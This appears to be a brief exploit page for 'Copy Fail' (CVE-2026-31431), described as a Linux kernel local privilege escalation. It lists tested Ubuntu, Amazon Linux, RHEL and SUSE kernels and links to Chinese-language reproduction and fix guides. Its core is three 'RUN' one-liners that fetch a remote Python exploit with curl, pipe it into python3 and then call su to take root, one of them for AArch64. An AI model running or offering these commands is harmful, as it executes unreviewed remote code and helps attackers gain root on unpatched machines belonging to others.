Copy Fail - CVE-2026-31431

Technical Writeup

RUN

curl https://copy.fail/exp | python3 &&su

curl https://copyfail.exp.willv.cn/exp.py | python3 &&su

For AArch64:

curl https://copyfail.exp.willv.cn/exp_aarch64.py | python3 &&su

Tested Distro / Version

Distro	Version
Ubuntu 24.04 LTS	6.17.0-1007-aws
Amazon Linux 2023	6.18.8-9.213.amzn2023
RHEL 10.1	6.12.0-124.45.1.el10_1
SUSE 16	6.12.0-160000.9-default

AArch64

Distro	Version
Ubuntu 24.04 LTS	6.17.0-1010-oracle

Reference

• 复现与修复指南：Linux内核本地提权漏洞Copy Fail（CVE-2026-31431）
• 【突发重大安全漏洞】linux内核再现“史诗级”本地提权漏洞CVE-2026-31431：一个732字节的Python脚本，一键获取root权限